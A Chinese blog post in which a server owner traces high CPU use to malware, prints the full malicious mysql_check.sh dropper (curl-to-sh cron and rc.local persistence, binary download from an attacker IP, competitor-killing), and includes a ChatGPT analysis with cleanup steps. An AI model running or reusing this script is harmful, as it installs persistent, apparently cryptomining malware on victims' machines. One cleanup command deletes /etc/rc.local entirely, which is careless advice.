麒麟在线

当前位置:网站首页 / 技术 / 正文

使用AI工具来找出服务器被黑的恶意代码

最近发现服务器的CPU经常被占满,一开始还以为服务器被攻击了,结果等了一个星期还是这样,我不得不再审视一下这个问题了

1、首先可以使用top命令查看,是哪个进程在大量消耗CPU,或者用finalshell直接可以看

 使用AI工具来找出服务器被黑的恶意代码 技术

mysqld_sysupdat这个进程把CPU占满了,这个进程不是mysql的吧,可能是个病毒伪装的程序

cd /proc/$PID/fd(会看见文件描述符)

得到文件描述符指向的实际文件,即当前进程打开的文件

2、打开该目录,发现在有2个文件

文件内容是

*/15 * * * * curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh
*/15 * * * * curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh

这个文件的目的是每15分钟定时执行下载mysql_check.sh这个文件并执行

3、我们下载这个mysql_check.sh脚本,并打开得到如下恶意代码:

#!/bin/bash
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
FILE_CC_SERVER="23.94.139.145"

mysqld_check()
{
    if [ -f "/tmp/mysqld_sysupdate" -a -f "/tmp/config.json" ];then
        mysqld_sysupdate=`ps -ef|grep "mysqld_sysupdate"|grep -v grep | wc -l`
        if [ $mysqld_sysupdate -eq 0 ];then
            pkill mysqld_sysup
            pkill mysqld_sysupdate
            killall mysqld_sysupdate
            kill_sus_proc
            cron
            cd /tmp
            chmod 777 mysqld_sysupdate
            ./mysqld_sysupdate
        fi
    else
        cd /tmp
        rm -rf mysqld_sysupdate
        rm -rf mysqld_sysupdate.*
        rm -rf config.json.*
        $WGET http://$FILE_CC_SERVER/mysqld_sysupdate
        $WGET http://$FILE_CC_SERVER/config.json
    fi
 
sleep 5
mysqld_check
}



cron()
{
    crontab -l | grep [m]ysql_check.sh
    if [ $? -ne 0 ];then

        chattr -R -i /var/spool/cron
        chattr -i /etc/crontab
        (crontab -l ; echo "*/15 * * * * curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh") | crontab -
        chattr -R +i /var/spool/cron
        chattr +i /etc/crontab
    fi
    cat /etc/rc.local | grep [m]ysql_check.sh
    if [ $? -ne 0 ];then
        echo "curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh" >> /etc/rc.local
        chmod 777 /etc/rc.local
    fi
}


kill_sus_proc()
{
    ps axf -o "pid"|while read procid
    do
            ls -l /proc/$procid/exe | grep /tmp
            if [ $? -ne 1 ]
            then
                    cat /proc/$procid/cmdline| grep -a -E "mysqld_sysupdate"
                    if [ $? -ne 0 ]
                    then
                            kill -9 $procid
                    else
                            echo "don't kill"
                    fi
            fi
    done
    ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
    do
            cat /proc/$procid/cmdline| grep -a -E "mysqld_sysupdate"
            if [ $? -ne 0 ]
            then
                    kill -9 $procid
            else
                    echo "don't kill"
            fi
    done
}

kill_sus_proc
cron
                if [ -s /bin/wget ]; then
                        WGET="/bin/wget --no-check-certificate";
                elif [ -s /usr/bin/wget ]; then
                        WGET="/usr/bin/wget --no-check-certificate";
                elif [ -s /usr/sbin/wget ]; then
                        WGET="/usr/sbin/wget --no-check-certificate";
                elif [ -s /usr/local/bin/wget ]; then
                        WGET="/usr/local/bin/wget --no-check-certificate";
                elif [ -s /bin/curl ]; then
                        WGET="/bin/curl -k -O";
                elif [ -s /usr/bin/curl ]; then
                        WGET="/usr/bin/curl -k -O";
                elif [ -s /usr/sbin/curl ]; then
                        WGET="/usr/sbin/curl -k -O";
                elif [ -s /usr/local/bin/curl ]; then
                        WGET="/usr/local/bin/curl -k -O";
                fi
                cron_process=`ps -ef|grep "mysqld_sysupdate"|grep -v grep | wc -l`
                if [ $cron_process -ne 0 ];then
                    exit
                fi
mysqld_check

4、我们使用AI工具chatgpt试着来分析一下这段恶意代码的功能

分析该恶意 Bash 脚本

该脚本的主要目的是在受害者的系统上下载并运行恶意程序,并且设置持久化以确保恶意程序不会被轻易移除。


恶意行为

  1. 恶意文件下载与执行

    • 目标服务器 23.94.139.145(可能是攻击者的 C&C 服务器)。

    • 从该服务器下载 mysqld_sysupdateconfig.json,并执行 mysqld_sysupdate

    • 代码:

      WGET http://$FILE_CC_SERVER/mysqld_sysupdate$WGET http://$FILE_CC_SERVER/config.jsonchmod 777 mysqld_sysupdate
      ./mysqld_sysupdate
  2. 创建 cron 任务,定时下载并执行恶意脚本

    • 每 15 分钟下载 mysql_check.sh 并执行:

      (crontab -l ; echo "*/15 * * * * curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh") | crontab -
    • 这样即使系统重启,恶意代码仍会被执行。

  3. 修改 /etc/rc.local,实现开机自启动

    • /etc/rc.local 添加恶意脚本:

      echo "curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh" >> /etc/rc.localchmod 777 /etc/rc.local
  4. 进程管理与隐藏

    • 检测并终止非 mysqld_sysupdate 进程(可能是挖矿或其他恶意进程):

      kill_sus_proc()
    • 杀死 /tmp 目录下的可疑进程,防止其他恶意软件干扰。

  5. 检测并保持自身运行

    • 如果 mysqld_sysupdate 进程被终止,则重新启动:

      if [ $mysqld_sysupdate -eq 0 ];then
          pkill mysqld_sysup
          pkill mysqld_sysupdate
          killall mysqld_sysupdate
          kill_sus_proc
          cron    cd /tmp    chmod 777 mysqld_sysupdate
          ./mysqld_sysupdatefi

恶意代码可能的用途

  1. 加密货币挖矿

    • 由于该脚本会不断检查 mysqld_sysupdate 是否运行,并终止其他高 CPU 进程,这很可能是一个加密货币挖矿恶意软件。

  2. DDoS 僵尸网络

    • mysqld_sysupdate 可能用于控制受害者的计算机并发动 DDoS 攻击。

  3. 后门程序

    • 该脚本建立了持久化访问方式,可能允许攻击者远程执行命令。


如何清除该恶意脚本?

  1. 终止恶意进程

    pkill -9 mysqld_sysupdate
    pkill -9 mysql_check.sh
  2. 删除恶意文件

    rm -rf /tmp/mysqld_sysupdate /tmp/config.json /etc/rc.local
  3. 清理定时任务

    crontab -l | grep -v "mysql_check.sh" | crontab -
  4. 检查 /etc/rc.local 并删除恶意条目

    sed -i '/mysql_check.sh/d' /etc/rc.local
  5. 重启系统

    reboot

如何预防此类攻击?

  • 更新系统和软件,避免已知漏洞被利用。

  • 限制 /tmp 目录的执行权限

    mount -o remount,noexec /tmp
  • 安装安全工具(如 Fail2Ban、防火墙)

    sudo apt install ufw
    sudo ufw enable

这段代码明显是恶意的,建议尽快清理并加强系统安全措施!


推荐阅读

文章标签:

版权声明: 本文除特别说明外均由原创

本文链接: https://www.70ol.com/jishu/256.html,尊重共享,欢迎转载,请自觉添加本文链接,谢谢!

分享本文: 请填写您的分享代码。

呃 本文暂时没人评论 来添加一个吧

发表评论

必填

选填

选填

必填

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。